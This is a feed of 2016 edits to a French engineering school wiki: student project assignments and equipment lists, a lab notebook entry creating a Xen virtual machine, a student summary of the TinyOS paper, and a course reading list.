  &amp;lt;td&amp;gt;[[P57 Robotisation d'un poste de production de pièces à base de fil métallique ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Audrey AFFOYON &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P59 Popsell : application mobile]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin GRUSON &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole) / François Vandeplanque (Popsell) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P61 Jeux d'aventure grandeur nature ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; MAIA Stéphane / LENTIEUL Romuald &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td&amp;gt;[[P64  Sécurité de l'IOT ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Cédric DUVAL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) / Alexandre Boé (Ecole)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Matériel nécessaires ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Matériel&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P15&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; 2 téléphones Android (reçus le 30 septembre. Une boite complète + 1 boite sans câble de connexion) &amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P52&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; 2 téléphones Android (reçus le 5 octobre. Deux boites complètes) &amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P61&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; une tablette Android reçu le 10/10/2016 &amp;lt;br&amp;gt; 1 Raspberry pi (+dongle Wifi) reçu le 10/10/2016&amp;lt;/span&amp;gt;&lt;br /&gt;
  &amp;lt;br&amp;gt;&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt; 9 Raspberry pi (+dongle Wifi) &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;br&amp;gt;&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt; 9 Haut-Parleurs simples &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=34153</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=34153"/>
				<updated>2016-10-10T08:29:09Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Réalisation 1ère semaine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | &lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (14/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (21/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Travail réalisé la 1ère semaine ===&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=34152</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=34152"/>
				<updated>2016-10-10T08:28:36Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Réalisation 1ère semaine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | &lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (14/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (21/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Réalisation 1ère semaine ===&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=34151</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=34151"/>
				<updated>2016-10-10T08:27:06Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : Page créée avec « == Cahier des charges == === Présentation du travail ===  ==== Répartition du travail ====   {| class=&amp;quot;wikitable alternance centre&amp;quot;  |-  ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)  ... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | &lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (14/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (21/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Réalisation 1ère semaine ===&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=InitRech_2015/2016,_sujet_27&amp;diff=32248</id>
		<title>InitRech 2015/2016, sujet 27</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=InitRech_2015/2016,_sujet_27&amp;diff=32248"/>
				<updated>2016-06-16T16:05:03Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Summary =&lt;br /&gt;
&lt;br /&gt;
This documents talk about TinyOS which is an operating system for sensor networks. Due to their low cost, and their many possibilities of use, the Sensor networks are currently more and more spread. They will be lot of researches and jobs associated in this field because of some problem who needs to be resolve like limited resources due to their small size, reactive concurrency, flexibility to remove or replace some specific components (like sensor or software without bug) and finally the power cost which need to be reducing at the best. &lt;br /&gt;
&amp;lt;br&amp;gt;Those four problemss are better and better resolve by TinyOs: &lt;br /&gt;
&amp;lt;br&amp;gt;With few than 400 Bytes, TinyOS is a flexible Operating system implemented in NesC language. The NesC language is a language derivate form the C programming language. It allows to reduce the use of the memory and the power needs in calculation. This operating system doesn’t works like other OS, It is before anything else a device to program embedded systems to communicate and interact. All the components programmable by the tinyOS shares instructions for inter-component communication like commands and events, but also instructions for intra-component concurrency: tasks. Namely command can activate or initiate a sensor, event is used to signal the accomplishment of a command. A task allows scheduling the handler of commands and events.&lt;br /&gt;
&amp;lt;br&amp;gt;A component can use two different types of interfaces, the first ones which are supply by it and on the contrary the seconds ones which are used by the component. An interface is a constituent of the component which is itself a component of a TinyOS program. Interfaces contain rightly commands and events. Above all of this, the NesC divide component in two types : modules and configurations. Modules are the programming code on the opposite, configurations are here to connect component together. &lt;br /&gt;
&amp;lt;br&amp;gt;Several hardware interfaces are already implemented in the TinyOS to enable the System to be install and interact with lot of different devices. &lt;br /&gt;
&amp;lt;br&amp;gt;The scheduling is made by asynchronous handlers. It is a FIFO scheduler which organize the executions of tasks. Handlers can interrupt a task if a task need to be quickly executed. Thanks to the NesC detection of data races, lots of bug are avoided. But Tiny OS can use some other method of scheduling g like earliest-deadline first if the users wants to.  To improve the quality of schedule, the code is categorized in two different types: The asynchronous code opposite to the Synchronous code. The first is reachable from at least one interrupt handler while the second is one is only reachable from tasks. All these things enable TinyOS to have a real quick concurrency. &lt;br /&gt;
&amp;lt;br&amp;gt;To limit the size of a Tiny OS program, the component graph of a program can know which component it needs, thanks to this it will not contains the other which are useless. During the compilation of a program, Tiny will reduce at the best the size of the code by removing redundancy and some other annoying stuffs. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;Actually TinyOs can be used to make Habitat monitoring, objet tracking to localize precisely an object moving in a sensor field, which will be our sensor network with Tiny OS, or TinyDb which is a declarative query processor.&lt;br /&gt;
&lt;br /&gt;
=Main Contribution=&lt;br /&gt;
The main contribution of this articles is to introduce this Operating system as many people as possible, especially to people working on sensor network. This OS can answers to all their problems. &amp;lt;br&amp;gt;In return to the help of the TinyOS , company could participate on giving money to the development of this device. Because of its free disposition, people working on it have to be paid with another solution which is donation.&amp;lt;br&amp;gt; I think this article is in particular a solution to ask for donation. But it also can help developers to understand how the operating system works, and to handle it.&amp;lt;br&amp;gt; This article is well detailed on its structuration and how the interaction on all its component works.  This article ,try to convince step by step , that the TinyOS is the best solution in OS with sensor network, by its flexibility to be install and interact with all types of materials, all technicians or developer can be interested to try this operating system with their materials.&lt;br /&gt;
&lt;br /&gt;
=Applications=&lt;br /&gt;
With the object tracking application possible in the TinyOS, we could imagine an adaptation in driverless car .We could install many sensors trough a city to localize driverless cars and interact with them to help them moving. It would be more secure and would avoid traffic jam. But for an optimal security you have to be sure to have a real time operating system. TinyOS could answers to this problem. The main drawback would be to buy and install a lot of sensors in each city, it would be really expensive. But the solidity and durability of sensors make the idea real interesting in my opinion. &lt;br /&gt;
&amp;lt;br&amp;gt;Another application would be for sport, games or jobs which need to interact instantly with a computer program. For example, in scrim, sportsmen wear clothes with many sensors to know if a contact has been established between the clothes and the adversary blade. The speed of reaction and the precision giving by Tiny OS could be interesting for them, to know precisely where they have been touch and when. Thereby they could improve their skills, to avoid to be hit and finally to win.&lt;br /&gt;
&amp;lt;br&amp;gt; We could also imagine video games applications, in the same idea of connected clothes, TinyOS could make the interaction between real life and the games in real time. We could run in football games at the same speed of the character or move in action games as if we were real hero, to avoid some stuffs or punch in a boxes games , like Nintendo Wii but more precisely. It would interest many people because of the market of video games which is in good health and which is very advertising. It would be good for the health because it could make sports for people who are not doing sports regularly.  &lt;br /&gt;
&amp;lt;br&amp;gt;And finally we could imagine an application in a bigger size, for the boat in sea. The sensor should be on buoy, to localize every boat and why not plane crash in the sea. The advantage will be for more security and help in case of accident. Boat or plane could send a signal to the buoy nearer, which should transmit the signal to rescue people. The rescue men could know more or less precisely (near the buoy) where search to find the boat or the plane who or which need to be rescue.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=InitRech_2015/2016,_sujet_27&amp;diff=32247</id>
		<title>InitRech 2015/2016, sujet 27</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=InitRech_2015/2016,_sujet_27&amp;diff=32247"/>
				<updated>2016-06-16T16:02:48Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : Page créée avec « = Summary =  This documents talk about TinyOS which is an operating system for sensor networks. Due to their low cost, and their many possibilities of use, the Sensor network... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Summary =&lt;br /&gt;
&lt;br /&gt;
This documents talk about TinyOS which is an operating system for sensor networks. Due to their low cost, and their many possibilities of use, the Sensor networks are currently more and more spread. They will be lot of researches and jobs associated in this field because of some problem who needs to be resolve like limited resources due to their small size, reactive concurrency, flexibility to remove or replace some specific components (like sensor or software without bug) and finally the power cost which need to be reducing at the best. &lt;br /&gt;
&amp;lt;br&amp;gt;Those four problemss are better and better resolve by TinyOs: &lt;br /&gt;
&amp;lt;br&amp;gt;With few than 400 Bytes, TinyOS is a flexible Operating system implemented in NesC language. The NesC language is a language derivate form the C programming language. It allows to reduce the use of the memory and the power needs in calculation. This operating system doesn’t works like other OS, It is before anything else a device to program embedded systems to communicate and interact. All the components programmable by the tinyOS shares instructions for inter-component communication like commands and events, but also instructions for intra-component concurrency: tasks. Namely command can activate or initiate a sensor, event is used to signal the accomplishment of a command. A task allows scheduling the handler of commands and events.&lt;br /&gt;
&amp;lt;br&amp;gt;A component can use two different types of interfaces, the first ones which are supply by it and on the contrary the seconds ones which are used by the component. An interface is a constituent of the component which is itself a component of a TinyOS program. Interfaces contain rightly commands and events. Above all of this, the NesC divide component in two types : modules and configurations. Modules are the programming code on the opposite, configurations are here to connect component together. &lt;br /&gt;
&amp;lt;br&amp;gt;Several hardware interfaces are already implemented in the TinyOS to enable the System to be install and interact with lot of different devices. &lt;br /&gt;
&amp;lt;br&amp;gt;The scheduling is made by asynchronous handlers. It is a FIFO scheduler which organize the executions of tasks. Handlers can interrupt a task if a task need to be quickly executed. Thanks to the NesC detection of data races, lots of bug are avoided. But Tiny OS can use some other method of scheduling g like earliest-deadline first if the users wants to.  To improve the quality of schedule, the code is categorized in two different types: The asynchronous code opposite to the Synchronous code. The first is reachable from at least one interrupt handler while the second is one is only reachable from tasks. All these things enable TinyOS to have a real quick concurrency. &lt;br /&gt;
&amp;lt;br&amp;gt;To limit the size of a Tiny OS program, the component graph of a program can know which component it needs, thanks to this it will not contains the other which are useless. During the compilation of a program, Tiny will reduce at the best the size of the code by removing redundancy and some other annoying stuffs. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;Actually TinyOs can be used to make Habitat monitoring, objet tracking to localize precisely an object moving in a sensor field, which will be our sensor network with Tiny OS, or TinyDb which is a declarative query processor.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Initiation_%C3%A0_la_recherche_SC_2015/2016&amp;diff=31482</id>
		<title>Initiation à la recherche SC 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Initiation_%C3%A0_la_recherche_SC_2015/2016&amp;diff=31482"/>
				<updated>2016-05-27T16:11:47Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Productions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Articles=&lt;br /&gt;
&lt;br /&gt;
Les articles que vous devez consulter sont classés par thèmes dans cette section.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Robotique Déformable ==&lt;br /&gt;
&lt;br /&gt;
* [https://hal.archives-ouvertes.fr/hal-00823766/file/icra2013.pdf Control of Elastic Soft Robots based on Real-Time Finite Element Method]&lt;br /&gt;
* [https://hal.inria.fr/hal-01163760/file/ICRA15_2950_FI.pdf Real-time Control of Soft-Robots using Asynchronous Finite Element Modeling]&lt;br /&gt;
* [https://hal.inria.fr/hal-01183293/file/IEEE_ICRA14.pdf Domain decomposition approach for FEM quasistatic modeling and control of Continuum Robots with rigid vertebras]&lt;br /&gt;
&lt;br /&gt;
== Réalité Augmentée == &lt;br /&gt;
&lt;br /&gt;
* [https://hal.inria.fr/hal-01136728/file/haouchineTVCG2014-low.pdf Impact of Soft Tissue Heterogeneity on Augmented Reality for Liver Surgery]&lt;br /&gt;
* [https://hal.inria.fr/hal-01186011/file/haouchine_tvcg_2015.pdf Monocular 3D Reconstruction and Augmentation of Elastic Surfaces with Self-occlusion Handling]&lt;br /&gt;
&lt;br /&gt;
== Simulation Médicale ==&lt;br /&gt;
&lt;br /&gt;
* [https://hal.inria.fr/hal-01226256/file/Vriphys.pdf Vascular neurosurgery simulation with bimanual haptic feedback]&lt;br /&gt;
* [https://hal.inria.fr/hal-01160297/file/Sofa-EG2015.pdf Surgery Training, Planning and Guidance Using the SOFA Framework]&lt;br /&gt;
* [https://hal.inria.fr/hal-00855821/document Computer-based training system for cataract surgery]&lt;br /&gt;
* [https://hal.inria.fr/hal-01242851/file/EMBC%202015%20submission.pdf Anticipation of Brain Shift in Deep Brain Stimulation Automatic Planning]&lt;br /&gt;
* [https://hal.inria.fr/hal-00681539/document SOFA: A Multi-Model Framework for Interactive Physical Simulation]&lt;br /&gt;
* [https://hal.inria.fr/hal-01078209/file/HugoTalbot-ISBMS2014.pdf Interactive Training System for Interventional Electrocardiology Procedures]&lt;br /&gt;
* [https://hal.inria.fr/hal-00838650/file/3paper.pdf Simulation of Lipo lling Reconstructive Surgery using coupled Eulerian Fluid and Deformable Solid Models]&lt;br /&gt;
&lt;br /&gt;
== Imagerie médicale / Traitements d'images ==&lt;br /&gt;
&lt;br /&gt;
* [http://onlinelibrary.wiley.com/doi/10.1111/str.12136/full B-spline Based Multi-organ Detection in Magnetic Resonance Imaging]&lt;br /&gt;
* [https://hal.inria.fr/hal-00741307/document Local implicit modeling of blood vessels for interactive simulation]&lt;br /&gt;
&lt;br /&gt;
== Parallélisation automatique ==&lt;br /&gt;
&lt;br /&gt;
* [[Media:scan_detection.pdf|Detection of Scans in the Polytop Model]]&lt;br /&gt;
&lt;br /&gt;
== Analyse de programmes ==&lt;br /&gt;
&lt;br /&gt;
* [http://rex.plil.fr/Recherche/europar02.pdf On the Equivalence of Two Systemes of Affine Recurrence Equations]&lt;br /&gt;
&lt;br /&gt;
== Energie dans les systèmes embarqués ==&lt;br /&gt;
&lt;br /&gt;
* [https://hal.archives-ouvertes.fr/hal-00399609/document Fast and Accurate Embedded Systems Energy Characterization Using Non-intrusive Measurements]&lt;br /&gt;
* [https://hal.archives-ouvertes.fr/hal-01193142/document Energy Consumption of Networked Embedded Systems]&lt;br /&gt;
* [http://sing.stanford.edu/pubs/quanto.pdf Quanto: Tracking Energy in Networked Embedded Systems]&lt;br /&gt;
&lt;br /&gt;
== Electronique ==&lt;br /&gt;
&lt;br /&gt;
* [[Media:06997798.pdf|On the Correlation Between Kink Effect and Effective Mobility in InAlN/GaN HEMTs]]&lt;br /&gt;
* [[Media:06425450.pdf|Fabrication, Characterization, and Physical Analysis of AlGaN/GaN HEMTs on Flexible Substrates]]&lt;br /&gt;
* [[Media:Graphene_transistor_schwierz.pdf|Fabrication, characterisation of graphene based transistors]]&lt;br /&gt;
&lt;br /&gt;
== Web of things ==&lt;br /&gt;
&lt;br /&gt;
* [https://hal.archives-ouvertes.fr/inria-00385140v2/document Smews: Smart and Mobile Embedded Web Server]&lt;br /&gt;
* [http://hinrg.cs.jhu.edu/joomla/images/stories/IPSN_2011_koliti.pdf Integrating Wireless Sensor Networks with the Web]&lt;br /&gt;
&lt;br /&gt;
== Systèmes d'exploitation ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.riot-os.org/docs/riot-infocom2013-abstract.pdf Riot OS: Towards an OS for the Internet of Things]&lt;br /&gt;
* [http://dunkels.com/adam/dunkels04contiki.pdf Contiki - a Lightweight and Flexible Operating System for Tiny Networked Sensors]&lt;br /&gt;
* [http://www.cs.berkeley.edu/~culler/papers/ai-tinyos.pdf TinyOS: An Operating System for Sensor Network]&lt;br /&gt;
&lt;br /&gt;
== Programmation de systèmes temps réel ==&lt;br /&gt;
&lt;br /&gt;
* [https://hal.archives-ouvertes.fr/hal-00800980/document Scheduling Dependent Periodic Tasks Without Synchronization Mechanisms]&lt;br /&gt;
* [https://hal.archives-ouvertes.fr/hal-00688490/document A Real-Time Architecture Design Language for Multi-Rate Embedded Control Systems]&lt;br /&gt;
&lt;br /&gt;
=Productions=&lt;br /&gt;
&lt;br /&gt;
Vous devez déposer votre production sur votre propre page. Créez une nouvelle entrée dans le tableau ci-dessous.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Numéro de sujet n !! Titre de l'article !! Elève&lt;br /&gt;
|- &lt;br /&gt;
| [[InitRech 2015/2016, sujet 1 ]] || Control of Elastic Soft Robots based on Real-Time Finite Element Method|| Maxime Szwechowiez&lt;br /&gt;
|- &lt;br /&gt;
| [[InitRech 2015/2016, sujet 4]] ||  Impact of Soft Tissue Heterogeneity on Augmented Reality for Liver Surgery || Geoffrey PIekacz&lt;br /&gt;
|-&lt;br /&gt;
